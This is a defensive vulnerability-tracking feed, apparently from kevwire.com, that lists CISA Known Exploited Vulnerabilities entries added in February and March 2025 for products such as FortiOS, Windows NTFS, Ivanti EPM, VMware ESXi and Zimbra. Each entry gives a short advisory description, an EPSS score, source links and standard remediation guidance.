CISA added this entry on 2025-03-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations as set forth in the CISA instructions linked below. Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 18, 2025; federal due date Apr 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Fortinet FortiOS and FortiProxy Authentication Bypass Vulnerability
https://kevwire.com/record/CVE-2025-24472
Fortinet FortiOS and FortiProxy Authentication Bypass Vulnerability (Mar 18, 2025).
Fortinet FortiOS and FortiProxy contain an authentication bypass vulnerability that allows a remote attacker to gain super-admin privileges via crafted CSF proxy requests.
EPSS 7.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24472&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24472: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24472&date=2026-10-25
CISA added this entry on 2025-03-18. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 18, 2025; federal due date Apr 8, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Juniper Junos OS Improper Isolation or Compartmentalization Vulnerability
https://kevwire.com/record/CVE-2025-21590
Juniper Junos OS Improper Isolation or Compartmentalization Vulnerability (Mar 13, 2025).
Juniper Junos OS contains an improper isolation or compartmentalization vulnerability. This vulnerability could allows a local attacker with high privileges to inject arbitrary code.
EPSS 1.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21590&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-21590: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21590&date=2026-10-25
CISA added this entry on 2025-03-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 13, 2025; federal due date Apr 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products WebKit Out-of-Bounds Write Vulnerability
https://kevwire.com/record/CVE-2025-24201
Apple Multiple Products WebKit Out-of-Bounds Write Vulnerability (Mar 13, 2025).
Apple iOS, iPadOS, macOS, and other Apple products contain an out-of-bounds write vulnerability in WebKit that may allow maliciously crafted web content to break out of Web Content sandbox. This vulnerability could impact HTML parsers that use WebKit, including but not limited to Apple Safari and non-Apple products which rely on WebKit for HTML processing.
EPSS 3.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24201&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24201: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24201&date=2026-10-25
CISA added this entry on 2025-03-13. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 13, 2025; federal due date Apr 3, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows NTFS Heap-Based Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-24993
Microsoft Windows NTFS Heap-Based Buffer Overflow Vulnerability (Mar 11, 2025).
Microsoft Windows New Technology File System (NTFS) contains a heap-based buffer overflow vulnerability that allows an unauthorized attacker to execute code locally.
EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24993&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24993: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24993&date=2026-10-25
CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 11, 2025; federal due date Apr 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows NTFS Out-Of-Bounds Read Vulnerability
https://kevwire.com/record/CVE-2025-24991
Microsoft Windows NTFS Out-Of-Bounds Read Vulnerability (Mar 11, 2025).
Microsoft Windows New Technology File System (NTFS) contains an out-of-bounds read vulnerability that allows an authorized attacker to disclose information locally.
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24991&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24991: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24991&date=2026-10-25
CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 11, 2025; federal due date Apr 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Fast FAT File System Driver Integer Overflow Vulnerability
https://kevwire.com/record/CVE-2025-24985
Microsoft Windows Fast FAT File System Driver Integer Overflow Vulnerability (Mar 11, 2025).
Microsoft Windows Fast FAT File System Driver contains an integer overflow or wraparound vulnerability that allows an unauthorized attacker to execute code locally.
EPSS 3.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24985&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24985: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24985&date=2026-10-25
CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 11, 2025; federal due date Apr 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows NTFS Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2025-24984
Microsoft Windows NTFS Information Disclosure Vulnerability (Mar 11, 2025).
Microsoft Windows New Technology File System (NTFS) contains an insertion of sensitive Information into log file vulnerability that allows an unauthorized attacker to disclose information with a physical attack. An attacker who successfully exploited this vulnerability could potentially read portions of heap memory.
EPSS 2.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24984&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24984: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24984&date=2026-10-25
CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 11, 2025; federal due date Apr 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Win32k Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2025-24983
Microsoft Windows Win32k Use-After-Free Vulnerability (Mar 11, 2025).
Microsoft Windows Win32 Kernel Subsystem contains a use-after-free vulnerability that allows an authorized attacker to elevate privileges locally.
EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24983&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-24983: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24983&date=2026-10-25
CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 11, 2025; federal due date Apr 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Management Console (MMC) Improper Neutralization Vulnerability
https://kevwire.com/record/CVE-2025-26633
Microsoft Windows Management Console (MMC) Improper Neutralization Vulnerability (Mar 11, 2025).
Microsoft Windows Management Console (MMC) contains an improper neutralization vulnerability that allows an unauthorized attacker to bypass a security feature locally.
EPSS 30.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-26633&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-26633: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-26633&date=2026-10-25
CISA added this entry on 2025-03-11. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 11, 2025; federal due date Apr 1, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-13161
Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability (Mar 10, 2025).
Ivanti Endpoint Manager (EPM) contains an absolute path traversal vulnerability that allows a remote unauthenticated attacker to leak sensitive information.
EPSS 89.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-13161&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-13161: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-13161&date=2026-10-25
CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 10, 2025; federal due date Mar 31, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-13160
Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability (Mar 10, 2025).
Ivanti Endpoint Manager (EPM) contains an absolute path traversal vulnerability that allows a remote unauthenticated attacker to leak sensitive information.
EPSS 91.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-13160&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-13160: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-13160&date=2026-10-25
CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 10, 2025; federal due date Mar 31, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-13159
Ivanti Endpoint Manager (EPM) Absolute Path Traversal Vulnerability (Mar 10, 2025).
Ivanti Endpoint Manager (EPM) contains an absolute path traversal vulnerability that allows a remote unauthenticated attacker to leak sensitive information.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-13159&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-13159: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-13159&date=2026-10-25
CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 10, 2025; federal due date Mar 31, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Advantive VeraCore Unrestricted File Upload Vulnerability
https://kevwire.com/record/CVE-2024-57968
Advantive VeraCore Unrestricted File Upload Vulnerability (Mar 10, 2025).
Advantive VeraCore contains an unrestricted file upload vulnerability that allows a remote unauthenticated attacker to upload files to unintended folders via upload.apsx.
EPSS 32.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-57968&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-57968: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-57968&date=2026-10-25
CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 10, 2025; federal due date Mar 31, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Advantive VeraCore SQL Injection Vulnerability
https://kevwire.com/record/CVE-2025-25181
Advantive VeraCore SQL Injection Vulnerability (Mar 10, 2025).
Advantive VeraCore contains a SQL injection vulnerability in timeoutWarning.asp that allows a remote attacker to execute arbitrary SQL commands via the PmSess1 parameter.
EPSS 55.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-25181&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-25181: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-25181&date=2026-10-25
CISA added this entry on 2025-03-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 10, 2025; federal due date Mar 31, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware ESXi, Workstation, and Fusion Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2025-22226
VMware ESXi, Workstation, and Fusion Information Disclosure Vulnerability (Mar 4, 2025).
VMware ESXi, Workstation, and Fusion contain an information disclosure vulnerability due to an out-of-bounds read in HGFS. Successful exploitation allows an attacker with administrative privileges to a virtual machine to leak memory from the vmx process.
EPSS 1.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-22226&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-22226: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-22226&date=2026-10-25
CISA added this entry on 2025-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 4, 2025; federal due date Mar 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware ESXi Arbitrary Write Vulnerability
https://kevwire.com/record/CVE-2025-22225
VMware ESXi Arbitrary Write Vulnerability (Mar 4, 2025).
VMware ESXi contains an arbitrary write vulnerability. Successful exploitation allows an attacker with privileges within the VMX process to trigger an arbitrary kernel write leading to an escape of the sandbox.
EPSS 1.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-22225&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-22225: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-22225&date=2026-10-25
CISA added this entry on 2025-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 4, 2025; federal due date Mar 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware ESXi and Workstation TOCTOU Race Condition Vulnerability
https://kevwire.com/record/CVE-2025-22224
VMware ESXi and Workstation TOCTOU Race Condition Vulnerability (Mar 4, 2025).
VMware ESXi and Workstation contain a time-of-check time-of-use (TOCTOU) race condition vulnerability that leads to an out-of-bounds write. Successful exploitation enables an attacker with local administrative privileges on a virtual machine to execute code as the virtual machine's VMX process running on the host.
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-22224&date=2026-10-25).
Sources:
CISA KEV entry CVE-2025-22224: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-22224&date=2026-10-25
CISA added this entry on 2025-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 4, 2025; federal due date Mar 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Use of Uninitialized Resource Vulnerability
https://kevwire.com/record/CVE-2024-50302
Linux Kernel Use of Uninitialized Resource Vulnerability (Mar 4, 2025).
The Linux kernel contains a use of uninitialized resource vulnerability that allows an attacker to leak kernel memory via a specially crafted HID report.
EPSS 0.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-50302&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-50302: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-50302&date=2026-10-25
CISA added this entry on 2025-03-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 4, 2025; federal due date Mar 25, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Progress WhatsUp Gold Path Traversal Vulnerability
https://kevwire.com/record/CVE-2024-4885
Progress WhatsUp Gold Path Traversal Vulnerability (Mar 3, 2025).
Progress WhatsUp Gold contains a path traversal vulnerability that allows an unauthenticated attacker to achieve remote code execution.
EPSS 99.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2024-4885&date=2026-10-25).
Sources:
CISA KEV entry CVE-2024-4885: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2024-4885&date=2026-10-25
CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2025; federal due date Mar 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Win32k Improper Resource Shutdown or Release Vulnerability
https://kevwire.com/record/CVE-2018-8639
Microsoft Windows Win32k Improper Resource Shutdown or Release Vulnerability (Mar 3, 2025).
Microsoft Windows Win32k contains an improper resource shutdown or release vulnerability that allows for local, authenticated privilege escalation. An attacker who successfully exploited this vulnerability could run arbitrary code in kernel mode.
EPSS 22.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-8639&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-8639: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-8639&date=2026-10-25
CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2025; federal due date Mar 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Hitachi Vantara Pentaho BA Server Special Element Injection Vulnerability
https://kevwire.com/record/CVE-2022-43769
Hitachi Vantara Pentaho BA Server Special Element Injection Vulnerability (Mar 3, 2025).
Hitachi Vantara Pentaho BA Server contains a special element injection vulnerability that allows an attacker to inject Spring templates into properties files, allowing for arbitrary command execution.
EPSS 97.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-43769&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-43769: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-43769&date=2026-10-25
CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2025; federal due date Mar 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Hitachi Vantara Pentaho BA Server Authorization Bypass Vulnerability
https://kevwire.com/record/CVE-2022-43939
Hitachi Vantara Pentaho BA Server Authorization Bypass Vulnerability (Mar 3, 2025).
Hitachi Vantara Pentaho BA Server contains a use of non-canonical URL paths for authorization decisions vulnerability that enables an attacker to bypass authorization.
EPSS 92.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-43939&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-43939: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-43939&date=2026-10-25
CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2025; federal due date Mar 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Cisco Small Business RV Series Routers Command Injection Vulnerability
https://kevwire.com/record/CVE-2023-20118
Cisco Small Business RV Series Routers Command Injection Vulnerability (Mar 3, 2025).
Multiple Cisco Small Business RV Series Routers contains a command injection vulnerability in the web-based management interface. Successful exploitation could allow an authenticated, remote attacker to gain root-level privileges and access unauthorized data.
EPSS 54.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-20118&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-20118: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-20118&date=2026-10-25
CISA added this entry on 2025-03-03. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Mar 3, 2025; federal due date Mar 24, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2023-34192
Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability (Feb 25, 2025).
Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting (XSS) vulnerability that allows a remote authenticated attacker to execute arbitrary code via a crafted script to the /h/autoSaveDraft function.
EPSS 77.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2023-34192&date=2026-10-25).
Sources:
CISA KEV entry CVE-2023-34192: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2023-34192&date=2026-10-25
